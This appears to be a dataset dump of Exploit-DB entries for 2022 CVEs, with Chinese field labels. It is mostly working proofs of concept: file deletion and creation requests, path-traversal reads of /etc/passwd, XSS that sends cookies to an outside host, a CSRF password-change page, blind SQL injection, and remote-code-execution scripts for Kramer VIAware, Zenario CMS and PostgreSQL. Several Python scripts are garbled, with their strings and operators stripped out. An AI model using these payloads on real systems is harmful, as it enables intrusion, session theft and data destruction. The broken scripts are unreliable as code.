QLWD/code_shield huggingface dataset:
标题: Telesquare TLR-2855KS6 - Arbitrary File Deletion EDB-ID: 50863 CVE: 2021-46419 类型: WEBAPPS 平台: HARDWARE 发布日期: 2022-04-11 漏洞利用脚本: # Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Deletion
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46419

# Proof of Concept

DELETE /cgi-bin/test.cgi HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 438
Origin: http://192.168.1.5
DNT: 1
Connection: close
Referer: http://192.168.1.5/
Cookie: nonce=16426923592222 URL: https://www.exploit-db.com/exploits/50863
标题: Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 - Local File Inclusion (LFI) EDB-ID: 50861 CVE: 2021-46417 类型: REMOTE 平台: LINUX 发布日期: 2022-04-11 漏洞利用脚本: # Exploit Title: Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 - Local File Inclusion (LFI)
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.franklinfueling.com/
# Version: 1.8.19.8580
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46417

# Proof of Concept

============[ HTTP Exploitation ]============

GET /18198580/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password= HTTP/1.1
Host: 192.168.1.6
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: Prefs=LID%3Des%3BPDS%3DMM/dd/yyyy%3BPDL%3DEEEE%2C%20MMMM%20dd%2C%20yyyy%3BPDY%3DMMMM%2C%20yyyy%3BPTS%3DHH%3Amm%3BPTL%3DHH%3Amm%3Ass%3BDSP%3D.%3BGSP%3D%2C%3BGRP%3D3%3BLDZ%3Dtrue%3BUVL%3DuvGallons%3BULN%3DulMillimeters%3BUTM%3DutCentigrade%3BUPR%3DupPSI%3BUP2%3Dup2inWater%3BUP3%3Dup3inHg%3BUFL%3Dufgpm%3BUDY%3Dudkgpcm%3BUMS%3Dumkgrams%3BRPR%3D30%3BXML%3Dfalse%3B
Upgrade-Insecure-Requests: 1

============[ URL Exploitation ]============

http://192.168.1.6/18198580/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password= URL: https://www.exploit-db.com/exploits/50861
标题: Telesquare TLR-2855KS6 - Arbitrary File Creation EDB-ID: 50862 CVE: 2021-46418 类型: WEBAPPS 平台: HARDWARE 发布日期: 2022-04-11 漏洞利用脚本: # Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Creation
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46418

# Proof of Concept

PUT /cgi-bin/testing_cve.txt HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: nonce=1642692359833588
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32 URL: https://www.exploit-db.com/exploits/50862
标题: SAM SUNNY TRIPOWER 5.0 - Insecure Direct Object Reference (IDOR) EDB-ID: 50860 CVE: 2021-46416 类型: WEBAPPS 平台: HARDWARE 发布日期: 2022-04-11 漏洞利用脚本: # Exploit Title: SAM SUNNY TRIPOWER 5.0 - Insecure Direct Object Reference (IDOR)
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.sma.de
# Version: SUNNY TRIPOWER 5.0 Firmware version 3.10.16.R
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46416

# Proof of Concept

============[ Normal user request ]============

GET / HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: tmhDynamicLocale.locale=%22en-us%22; user443=%7B%22role%22%3A%7B%22bitMask%22%3A2%2C%22title%22%3A%22usr%22%2C%22loginLevel%22%3A2%7D%2C%22username%22%3A861%2C%22sid%22%3A%22CDQMoPK0y6Q0-NaD%22%7D
Upgrade-Insecure-Requests: 1

============[ Manipulated username request ]============

GET / HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: tmhDynamicLocale.locale=%22en-us%22; user443=%7B%22role%22%3A%7B%22bitMask%22%3A2%2C%22title%22%3A%22usr%22%2C%22loginLevel%22%3A2%7D%2C%22username%22%3A850%2C%22sid%22%3A%22CDQMoPK0y6Q0-NaD%22%7D
Upgrade-Insecure-Requests: 1 URL: https://www.exploit-db.com/exploits/50860
标题: Kramer VIAware - Remote Code Execution (RCE) (Root) EDB-ID: 50856 CVE: 2021-36356 2021-35064 类型: REMOTE 平台: HARDWARE 发布日期: 2022-04-07 漏洞利用脚本: # Exploit Title: Remote Code Execution as Root on KRAMER VIAware
# Date: 31/03/2022
# Exploit Author: sharkmoos
# Vendor Homepage: https://www.kramerav.com/
# Software Link: https://www.kramerav.com/us/product/viaware
# Version: *
# Tested on: ViaWare Go (Linux)
# CVE : CVE-2021-35064, CVE-2021-36356

import sys, urllib3
from requests import get, post
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def writeFile(host):
    headers = {
    "Host": f"{host}",
     
     
     
     
     
     
     
     
     
     
     
     
    
    
    data  
        
         
    postf headersheaders datadata verify


 host cmd
    
      getf    cmd   verify
    pageText  text
     pageText  
        result  
    
        result  pageText
     result

 host
    
    writeFilehost
    command  
     command  
        
        command  strip
        getResulthost command
    exit

 __name__  
     sysargv  
        mainsysargv
    
        f URL: https://www.exploit-db.com/exploits/50856
标题: Opmon 9.11 - Cross-site Scripting EDB-ID: 50857 CVE: 2021-43009 类型: REMOTE 平台: MULTIPLE 发布日期: 2022-04-07 漏洞利用脚本: # Exploit Title: Opmon 9.11 - Cross-site Scripting
# Date: 2021-06-01
# Exploit Author: p3tryx
# Vendor Homepage: https://www.opservices.com.br/monitoramento-real-time
# Version: 9.11
# Tested on: Chrome, IE and Firefox
# CVE : CVE-2021-43009

# URL POC:

<script>
alert(document.cookie);
var i=new Image;
i.src="http://192.168.0.18:8888/?"+document.cookie;
</script>

Url-encoded Payload

%3Cscript%3E%0Aalert%28document.cookie%29%3B%0Avar%20i%3Dnew%20Image%3B%0Ai.src%3D%22http%3A%2F%2F192.168.0.18%3A8888%2F%3F%22%2Bdocument.cookie%3B%0A%3C%2Fscript%3E

```
*https://192.168.1.100/opmon/seagull/www/index.php/opinterface/action/redirect/initial_page=/opmon/seagull/www/index.php/statusgrid/action/hosts/filter*
<https://opmon/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/statusgrid/action/hosts/?filter>
[search]=%27};PAYLOAD&x=0&y=0

*https://192.168.1.100/opmon/seagull/www/index.php/opinterface/action/redirect/initial_page=/opmon/seagull/www/index.php/statusgrid/action/hosts/filter*
<https://opmon/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/statusgrid/action/hosts/?filter>
[search]=%27};
%3Cscript%3E%0Aalert%28document.cookie%29%3B%0Avar%20i%3Dnew%20Image%3B%0Ai.src%3D%22http%3A%2F%2F192.168.0.18%3A8888%2F%3F%22%2Bdocument.cookie%3B%0A%3C%2Fscript%3E
&x=0&y=0

``` URL: https://www.exploit-db.com/exploits/50857
标题: minewebcms 1.15.2 - Cross-site Scripting (XSS) EDB-ID: 50853 CVE: 2022-1163 类型: WEBAPPS 平台: PHP 发布日期: 2022-04-07 漏洞利用脚本: # Exploit Title: minewebcms 1.15.2 - Cross-site Scripting (XSS)
# Google Dork: NA
# Date: 02/20/2022
# Exploit Author: Chetanya Sharma @AggressiveUser
# Vendor Homepage: https://mineweb.org/
# Software Link: https://github.com/mineweb/minewebcms
# Version: 1.15.2
# Tested on: KALI OS
# CVE : CVE-2022-1163
#
---------------

Steps to Reproduce:-
=> Install the WebApp and Setup it
=> Login in to webAPP using Admin Creds. 
=> Navigate to "http://localhost/MineWebCMS-1.15.2/admin/navbar"
=> Add/Edit a Link Select "Drop-Down Menu"
=> "Link Name" and "URL" Both Input are Vulnerable to Exploit Simple XSS 
=>  Payload : <script>alert(1);</script>
=> XSS will trigger on "http://localhost/MineWebCMS-1.15.2/" Aka WebApp HOME Page

Note : As you can see this simple payload working in those two inputs as normally . Whole WebApp Admin Input Structure is allow to do HTML Injection or XSS Injection 

References: https://huntr.dev/bounties/44d40f34-c391-40c0-a517-12a2c0258149/ URL: https://www.exploit-db.com/exploits/50853
标题: Sherpa Connector Service v2020.2.20328.2050 - Unquoted Service Path EDB-ID: 50852 CVE: 2022-23909 类型: LOCAL 平台: WINDOWS 发布日期: 2022-04-07 漏洞利用脚本: # Exploit Title: Sherpa Connector Service v2020.2.20328.2050 - Unquoted Service Path
# Exploit Author: Manthan Chhabra (netsectuna), Harshit (fumenoid)
# Version: 2020.2.20328.2050
# Date: 02/04/2022
# Vendor Homepage: http://gimmal.com/
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10
# CVE: CVE-2022-23909


# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode | findstr /i
"sherpa" | findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v
"""

Sherpa Connector Service
         Sherpa Connector Service                                C:\Program
Files\Sherpa Software\Sherpa Connector\SherpaConnectorService.exe
                                 Auto

C:\>sc qc "Sherpa Connector Service"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Sherpa Connector Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Sherpa Software\Sherpa
Connector\SherpaConnectorService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Sherpa Connector Service
        DEPENDENCIES       : wmiApSrv
        SERVICE_START_NAME : LocalSystem URL: https://www.exploit-db.com/exploits/50852
标题: qdPM 9.2 - Cross-site Request Forgery (CSRF) EDB-ID: 50854 CVE: 2022-26180 类型: WEBAPPS 平台: PHP 发布日期: 2022-04-07 漏洞利用脚本: # Exploit Title: qdPM 9.2 - Cross-site Request Forgery (CSRF)
# Google Dork: NA
# Date: 03/27/2022
# Exploit Author: Chetanya Sharma @AggressiveUser
# Vendor Homepage: https://qdpm.net/
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: KALI OS
# CVE : CVE-2022-26180
#
---------------

Steps to Exploit : 
 1) Make an HTML file of given POC (Change UserID field Accordingly)and host it.
 2) send it to victim.

<html><title>qdPM Open Source Project Management - qdPM 9.2 (CSRF POC)</title>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://qdpm.net/demo/9.2/index.php/myAccount/update" method="POST">
      <input type="hidden" name="sf&#95;method" value="put" />
      <input type="hidden" name="users&#91;id&#93;" value="1" /> <!-- Change User ID Accordingly --->
      <input type="hidden" name="users&#91;photo&#95;preview&#93;" value="" />
      <input type="hidden" name="users&#91;name&#93;" value="AggressiveUser" />
      <input type="hidden" name="users&#91;new&#95;password&#93;" value="TEST1122" />
      <input type="hidden" name="users&#91;email&#93;" value="administrator&#64;Lulz&#46;com" />
      <input type="hidden" name="users&#91;photo&#93;" value="" />
      <input type="hidden" name="users&#91;culture&#93;" value="en" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/50854
标题: Zenario CMS 9.0.54156 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50850 CVE: 2021–42171 类型: WEBAPPS 平台: PHP 发布日期: 2022-04-07 漏洞利用脚本: # Exploit Title: Zenario CMS 9.0.54156 - Remote Code Execution (RCE) (Authenticated)
# Date: 04/02/2022
# Exploit Author: minhnq22
# Vendor Homepage: https://zenar.io/
# Software Link: https://zenar.io/download-page
# Version: 9.0.54156
# Tested on: Ubuntu 21.04
# CVE : CVE-2021–42171
# Python3

import os
import sys
import json
import uuid
 base64
 requests


 sysargv  
      sysargv  
    exit

TARGET  sysargv
USERNAME  sysargv
PASSWORD  sysargv



resp  requestsgetTARGET  


PHPSESSID  respheaderssplit


resp  requestspostTARGET  
                        headers   PHPSESSID
                        data     USERNAME    PASSWORD  







resp  requestspostTARGET  
                        headers   PHPSESSID  TARGET  
                        data   

resp_body  jsonloadsresptext

password_sync  resp_body
iv_sync  resp_body
cache_dir_sync  resp_body


file_content  b
file_name  uuiduuid4
  file_name   
writebase64decodebytesfile_content
close


resp  requestspostTARGET  
                        headersPHPSESSID  TARGET  
                        data   
                        files file_name   


resp_body  jsonloadsresptext
id_sync  resp_body


resp  requestspostTARGET  
                        headers   PHPSESSID  TARGET  
                        data       id_sync    cache_dir_sync    password_sync    iv_sync  







resp  requestsgetTARGET    file_name headers PHPSESSID
resp_body  jsonloadsresptext

file_id  resp_body


resp  requestspostTARGET    file_id
                        headers PHPSESSID  TARGET  
                        data   

resp_body  jsonloadsresptext

password_sync  resp_body
iv_sync  resp_body
cache_dir_sync  resp_body


resp  requestspostTARGET    file_id
                        headers PHPSESSID  TARGET  
                        data       file_name    cache_dir_sync    password_sync    iv_sync  


resp  requestspostTARGET  ,
                        headers PHPSESSID  TARGET  
                        data file_id  

response_body  resptext
web_shell_url  response_bodyresponse_bodyfind response_bodyfindfile_name  



 web_shell_url




cmd  
 cmd  
    
    cmd  

    
    resp  requestspostweb_shell_url data cmd
    response_body  resptext
    result  response_bodyresponse_bodyfind   response_bodyfind

    result
    


resp  requestspostTARGET  ,
                        headers PHPSESSID  TARGET  
                        data file_id  



osremovefile_name URL: https://www.exploit-db.com/exploits/50850
标题: WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored XSS EDB-ID: 50849 CVE: 2021-24405 类型: WEBAPPS 平台: PHP 发布日期: 2022-03-30 漏洞利用脚本: # Exploit Title: WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored XSS
# Date: 2/27/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/easy-cookies-policy/
# Version: 1.6.2
# Tested on: Windows 10
# CVE: CVE-2021-24405

1. Description:
Broken access control allows any authenticated user to change the cookie banner through a POST request to admin-ajax.php.
If users can't register, this can be done through CSRF.

2. Proof of Concept:
POST http://localhost/wp-admin/admin-ajax.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Referer: http://localhost/wp-admin/options-general.php?page=easy-cookies-policy
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 226
Origin: http://localhost
Connection: keep-alive
Host: localhost
Cookie: [Any authenticated user]

action=easy_cookies_policy_save_settings&maintext=<script>alert(1)</script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd URL: https://www.exploit-db.com/exploits/50849
标题: Kramer VIAware 2.5.0719.1034 - Remote Code Execution (RCE) EDB-ID: 50848 CVE: 2019-17124 类型: REMOTE 平台: HARDWARE 发布日期: 2022-03-30 漏洞利用脚本: # Exploit Title: Kramer VIAware 2.5.0719.1034 - Remote Code Execution (RCE)
# Date: 28/03/2022
# Exploit Author: sharkmoos & BallO
# Vendor Homepage: https://www.kramerav.com/
# Software Link: https://www.kramerav.com/us/product/viaware
# Version: 2.5.0719.1034
# Tested on: ViaWare Go (Windows 10)
# CVE : CVE-2019-17124

import requests, sys, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def adminLogin(s, host, username, password):
    headers = {
         f
         
         
         
         
         
         f
         f
         
         
         
         
         
         
         
         
        
    data  
         username
         password
         
        
    response  spostf verify
     scookies  
         
    
         


 session host command
    headers  
     f
     
     
     
     
     
     
     f
     f
     
     
     
     
     
     
    
    data  
        f
         
        
    sessionpostf headersheaders datadata


 session host
      sessiongetf verify
    pageText  text
     pageText  
        result  
    
        result  pageText
     result

        

 host username password
    s  requestsSession
    
    loggedIn  adminLogins host username password
    
      loggedIn
        
        sysexit
    
        

    command  
     command  
        command  strip
        writeCommands host command
        getResults host
    exit

 __name__  
    
    args  sysargv
    numArgs  args
      numArgs  
        f
        f
     numArgs  
        mainargs
     numArgs  
        mainargs args args
     numArgs  
        f
        f URL: https://www.exploit-db.com/exploits/50848
标题: PostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50847 CVE: 2019–9193 类型: REMOTE 平台: MULTIPLE 发布日期: 2022-03-30 漏洞利用脚本: # Exploit Title: PostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-03-29
# Exploit Author: b4keSn4ke
# Github: https://github.com/b4keSn4ke
# Vendor Homepage: https://www.postgresql.org/
# Software Link: https://www.postgresql.org/download/linux/debian/
# Version: 9.3 - 11.7
# Tested on: Linux x86-64 - Debian 4.19
# CVE: CVE-2019–9193

#!/usr/bin/python3 

import psycopg2
import argparse
 hashlib
 time

 
    parser  argparseArgumentParserdescription
    parseradd_argument  nargs  default 
    parseradd_argument  nargs  default 
    parseradd_argument  nargs default 
    parseradd_argument  nargs 
    parseradd_argument  nargs  default 
    parseradd_argument  nargs default 
    parseradd_argument  nargs default 
    args  parserparse_args
     args

 
    
         argsip argsport
        connection  psycopg2connect 
            databaseargsdatabase 
            userargsuser 
            passwordargspassword 
            hostargsip 
            portargsport 
            connect_timeoutargstimeout
        
         
        
         
        checkVersionconnection

        argscommand
            exploitconnection
        
             

     psycopg2OperationalError  e
         e
        exit

 connection
    cursor  connectioncursor
    cursorexecute
    record  cursorfetchall
    cursorclose

    result  deserializerecord
    version  resultresultfindresultfind

     version    version  
        version

    
        version
        exit

 record
    result  
     rec  record
        result  rec
     result

 
       hashlibmd5timectimeencodehexdigest

 connection
    cursor  connectioncursor
    tableName  randomizeTableName
    
         tableName
        cursorexecute"DROP TABLE IF EXISTS \
                        CREATE TABLE cmd_output text\
                        COPY  FROM PROGRAM \
                        SELECT  FROM "argscommandtableName

         
        
        record  cursorfetchall
        result  deserializerecord

        result
         tableName

        cursorexecutetableName
        cursorclose

     psycopg2errorsExternalRoutineException  e
         epgerror
         tableName
        cursor  connectioncursor
        cursorexecutetableName
        cursorclose

    
        exit

 __name__  
    args  parseArgs
    main URL: https://www.exploit-db.com/exploits/50847
标题: CSZ CMS 1.2.9 - 'Multiple' Blind SQLi(Authenticated) EDB-ID: 50846 CVE: 2021-43701 类型: WEBAPPS 平台: PHP 发布日期: 2022-03-30 漏洞利用脚本: # Exploit Title: CSZ CMS 1.2.9 - 'Multiple' Blind SQLi(Authenticated)
# Date: 2021-04-14
# Exploit Author: Rahad Chowdhury
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://sourceforge.net/projects/cszcms/files/install/CSZCMS-V1.2.9.zip
# Version: 1.2.9
# Tested on: Windows 10, Kali Linux, PHP 7.4.16, Apache 2.4.46
# CVE: CVE-2021-43701

*Steps to Reproduce:*
1. First login to your Admin Panel
2. then go to "General Menu > CSV Export / Import".
3. open burp site and configure with browser.
4. then select any "Table Name" > Select "Fields Select" and Select "Sort by"
5. Now click "Export to CSV" and intercept with burp suite
6. "fieldS[]" or "orderby" parameter is vulnerable. Let's try to inject Blind SQL Injection using this query "(select(0)from(select(sleep(10)))a)" in "orderby" parameter.

*Proof of Concept:*
http://127.0.0.1/CSZCMS/admin/export/getcsv/article_db?fieldS%5B%5D=article_db_id&orderby=(select(0)from(select(sleep(10)))a)&sort=ASC&submit=Export+to+CSV

*Output:*
By issuing sleep(0) response will be delayed to 0 seconds.
By issuing sleep(1) response will be delayed to 1 seconds.
By issuing sleep(5) response will be delayed to 5 seconds.
By issuing sleep(10) response will be delayed to 10 seconds URL: https://www.exploit-db.com/exploits/50846